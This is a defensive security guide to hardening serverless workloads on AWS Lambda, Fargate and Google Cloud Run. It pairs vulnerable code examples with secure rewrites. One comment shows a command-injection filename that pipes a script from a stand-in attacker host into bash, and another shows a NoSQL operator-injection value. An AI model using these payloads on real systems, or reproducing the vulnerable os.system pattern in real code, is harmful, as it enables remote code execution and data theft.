Serverless Security in Depth: Lambda, Fargate, and Cloud Run
Advanced security techniques for serverless architectures — event injection attacks, overpermissioned execution roles, VPC deployment, container image scanning, and cold-start security considerations.
Serverless architectures reduce operational overhead but introduce a new category of security challenges. The attack surface shifts from server configuration to function code, event sources, and IAM permissions. Many security teams find serverless harder to secure than traditional infrastructure because the transient, event-driven nature makes monitoring and incident response less intuitive.
The Serverless Threat Model
Serverless functions are, at their core, code that runs in response to events. The threat model has four primary components:
- Function code vulnerabilities — injection attacks, deserialization flaws, dependency vulnerabilities
- Overpermissioned execution roles — functions with more IAM permissions than they need
- Event source security — malicious or malformed events from API Gateway, SQS, S3, or other triggers
- Supply chain attacks — malicious packages in function dependencies or container images
Traditional server hardening (patching OS, firewall rules) is largely handled by the cloud provider. Your responsibility focuses on code quality, IAM, and event validation.
Event Injection Attacks
What Is Event Injection?
In serverless architectures, the "input" to a function is an event — a JSON blob from API Gateway, SQS, SNS, S3, or another source. If function code uses event data in unsafe ways (in database queries, OS commands, or deserialization), event data becomes an attack vector.
Lambda Injection via API Gateway
Consider a Lambda function that builds a DynamoDB query from API Gateway event data:
# VULNERABLE: Direct use of event data in query
def handler(event, context):
user_id = event['queryStringParameters']['userId']
# NoSQL injection: attacker sends userId={"$gt": ""}
response = dynamodb.scan(
FilterExpression="userId = :uid",
ExpressionAttributeValues={":uid": user_id}
)
return {'statusCode': 200, 'body': json.dumps(response['Items'])}
An attacker can send userId={"$gt": ""} to bypass the filter and return all records. While DynamoDB's parameterized expressions prevent classic SQL injection, improper handling of operator injection is still possible.
Secure version:
import re
from aws_lambda_powertools.event_handler import APIGatewayRestResolver
from aws_lambda_powertools.utilities.validation import validate, SchemaValidationError
from pydantic import BaseModel, field_validator
app = APIGatewayRestResolver()
class QueryParams(BaseModel):
userId: str
@field_validator('userId')
@classmethod
def validate_user_id(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]{1,64}$', v):
raise ValueError('Invalid userId format')
return v
@app.get("/items")
def get_items():
try:
params = QueryParams(**app.current_event.query_string_parameters or {})
except ValueError as e:
return {'statusCode': 400, 'body': str(e)}
response = table.query(
KeyConditionExpression=Key('userId').eq(params.userId)
)
return {'statusCode': 200, 'body': json.dumps(response['Items'])}
SQS Message Injection
Lambda functions consuming SQS messages may be vulnerable if messages from one system are forwarded to another:
# VULNERABLE: OS command injection from SQS message
def process_image(event, context):
for record in event['Records']:
body = json.loads(record['body'])
filename = body['filename']
# Attacker sends filename = "image.jpg; curl attacker.com/shell | bash"
os.system(f"convert {filename} output.jpg") # DANGEROUS
Secure approach — validate and sanitize all message content, use subprocess with explicit argument lists (never shell=True), and treat all event data as untrusted:
import subprocess
import pathlib
def process_image(event, context):
for record in event['Records']:
body = json.loads(record['body'])
filename = body.get('filename', '')
# Validate filename format
path = pathlib.Path(filename)
if path.suffix.lower() not in ['.jpg', '.png', '.gif']:
print(f"Rejected invalid file extension: {filename}")
continue
if path.name != path.name.replace('/', '').replace('..', ''):
print(f"Rejected path traversal attempt: {filename}")
continue
# Use subprocess with explicit args (no shell interpolation)
subprocess.run(
['convert', f'/input/{path.name}', f'/output/{path.stem}.webp'],
check=True,
timeout=30,
capture_output=True
)
Overpermissioned Execution Roles
The most widespread serverless security issue is execution roles with excessive permissions. Many teams use a single "LambdaFullAccess" role across all functions, or attach AWSLambdaFullAccess as a shortcut.
The Blast Radius Problem
If a Lambda function with s3:* on * is compromised through a dependency vulnerability, the attacker can access every S3 bucket in the account. With iam:PassRole permission, they can escalate further.
Creating Minimal Execution Roles
Each Lambda function should have its own execution role scoped to exactly what it needs:
# In your infrastructure-as-code (CDK example)
from aws_cdk import aws_iam as iam
from aws_cdk import aws_lambda as lambda_
from aws_cdk import aws_s3 as s3
# Create minimal execution role
role = iam.Role(
self, "ProcessOrderRole",
assumed_by=iam.ServicePrincipal("lambda.amazonaws.com"),
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name(
"service-role/AWSLambdaBasicExecutionRole"
)
]
)
# Grant only specific permissions needed
order_bucket = s3.Bucket.from_bucket_name(self, "OrderBucket", "my-orders")
order_bucket.grant_read(role) # Read-only on this specific bucket
orders_table.grant_read_write_data(role) # Read/write on specific table
# Function gets the minimal role
fn = lambda_.Function(
self, "ProcessOrderFunction",
role=role,
runtime=lambda_.Runtime.PYTHON_3_12,
...
)
Using Lambda Resource Policies to Restrict Invocation
Beyond execution roles, restrict who can invoke your functions:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowApiGatewayInvoke",
"Effect": "Allow",
"Principal": {"Service": "apigateway.amazonaws.com"},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:my-function",
"Condition": {
"ArnLike": {
"AWS:SourceArn": "arn:aws:execute-api:us-east-1:123456789012:my-api-id/*"
}
}
}
]
}
VPC Deployment for Network Isolation
By default, Lambda functions run in an AWS-managed VPC with internet access but no access to your VPC resources. Deploying Lambda inside your VPC provides:
- Access to VPC resources (RDS, ElastiCache, internal services)
- Ability to use VPC security groups to control egress
- No direct internet access (requires NAT gateway for outbound)
# CDK: Deploy Lambda in VPC
fn = lambda_.Function(
self, "MyFunction",
vpc=vpc,
vpc_subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PRIVATE_WITH_EGRESS),
security_groups=[lambda_sg],
...
)
# Security group: allow outbound to specific resources only
lambda_sg.add_egress_rule(
peer=db_sg,
connection=ec2.Port.tcp(5432),
description="Allow PostgreSQL access"
)
lambda_sg.add_egress_rule(
peer=ec2.Peer.prefix_list("pl-63a5400a"), # S3 managed prefix list
connection=ec2.Port.tcp(443),
description="Allow S3 via VPC endpoint"
)
# No default 0.0.0.0/0 egress rule
Use VPC endpoints for AWS services (S3, DynamoDB, Secrets Manager, STS) to avoid routing function traffic through NAT gateways, which both reduces cost and keeps traffic on the AWS network.
Container Image Security for Lambda and Fargate
Lambda supports container images up to 10GB. Fargate runs container images exclusively. Container image vulnerabilities directly translate to function vulnerabilities.
Scanning Lambda Container Images
# Scan Lambda container image with Trivy before pushing
trivy image \
--severity CRITICAL,HIGH \
--exit-code 1 \
--ignore-unfixed \
--format table \
my-lambda-image:latest
# Enable ECR automatic scanning
aws ecr put-image-scanning-configuration \
--repository-name my-lambda-repo \
--image-scanning-configuration scanOnPush=true
# Enable ECR enhanced scanning (Inspector-based, continuous)
aws ecr put-registry-scanning-configuration \
--scan-type ENHANCED \
--rules '[{
"repositoryFilters": [{"filter": "*", "filterType": "WILDCARD"}],
"scanFrequency": "CONTINUOUS_SCAN"
}]'
Fargate Security Configuration
Fargate task definitions should follow security hardening:
{
"family": "production-task",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"containerDefinitions": [
{
"name": "app",
"image": "123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latest",
"essential": true,
"linuxParameters": {
"initProcessEnabled": true
},
"user": "1000:1000",
"readonlyRootFilesystem": true,
"privileged": false,
"logConfiguration": {
"logDriver": "awslogs",
"options": {
"awslogs-group": "/ecs/production-task",
"awslogs-region": "us-east-1",
"awslogs-stream-prefix": "app"
}
},
"secrets": [
{
"name": "DATABASE_URL",
"valueFrom": "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db-url"
}
]
}
],
"taskRoleArn": "arn:aws:iam::123456789012:role/minimal-task-role",
"executionRoleArn": "arn:aws:iam::123456789012:role/ecs-execution-role"
}
Key security settings:
readonlyRootFilesystem: true— prevents writing to the container filesystemprivileged: false— containers never run as privilegeduser: "1000:1000"— run as non-root- Secrets from Secrets Manager, not environment variables in plaintext
Cloud Run Security on GCP
Cloud Run containers should follow similar hardening principles:
# cloud-run-service.yaml
apiVersion: serving.knative.dev/v1
kind: Service
metadata:
name: my-service
annotations:
run.googleapis.com/ingress: internal-and-cloud-load-balancing
spec:
template:
metadata:
annotations:
# Require authenticated access (no unauthenticated invocations)
run.googleapis.com/execution-environment: gen2
# Use Workload Identity (no service account key files)
iam.googleapis.com/allowed-policy-member-types: serviceAccount
spec:
serviceAccountName: my-service@project.iam.gserviceaccount.com
containers:
- image: gcr.io/project/my-service:latest
securityContext:
runAsNonRoot: true
runAsUser: 1000
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
resources:
limits:
cpu: "1"
memory: "512Mi"
Lambda Layers and Supply Chain Security
Lambda layers share code across functions, which creates a supply chain dependency. A malicious or compromised layer affects all functions using it.
Audit Third-Party Layers
Before using any public Lambda layer:
# Get the layer's code and scan it
aws lambda get-layer-version-by-arn \
--arn arn:aws:lambda:us-east-1:123456789012:layer:my-layer:1 \
--query 'Content.Location' \
--output text | \
xargs wget -O layer.zip && unzip layer.zip -d layer_contents/
# Scan extracted contents
trivy fs layer_contents/
Prefer building your own layers from source rather than using untrusted public layers.
Dependency Management
Lambda function dependencies should be pinned to exact versions and scanned regularly:
# requirements.txt - pin exact versions
boto3==1.34.0
requests==2.31.0
pydantic==2.5.0
Integrate pip-audit or safety into your CI/CD pipeline:
- name: Audit Python dependencies
run: |
pip install pip-audit
pip-audit -r requirements.txt --format json --output audit-results.json
# Fail on critical vulnerabilities
pip-audit -r requirements.txt -x
Monitoring and Observability
Lambda functions are ephemeral, which makes traditional monitoring approaches inadequate. Use structured logging and distributed tracing:
from aws_lambda_powertools import Logger, Tracer, Metrics
from aws_lambda_powertools.metrics import MetricUnit
logger = Logger(service="order-processor")
tracer = Tracer(service="order-processor")
metrics = Metrics(namespace="OrderService")
@logger.inject_lambda_context(log_event=True)
@tracer.capture_lambda_handler
@metrics.log_metrics
def handler(event, context):
metrics.add_metric(name="OrdersProcessed", unit=MetricUnit.Count, value=1)
with tracer.capture_method("process_payment"):
result = process_payment(event['orderId'])
logger.info("Order processed", order_id=event['orderId'], result=result)
return result
Lambda Powertools provides structured JSON logging, AWS X-Ray tracing integration, and CloudWatch Embedded Metrics Format — all essential for debugging security incidents in serverless architectures where you have no persistent server logs to review.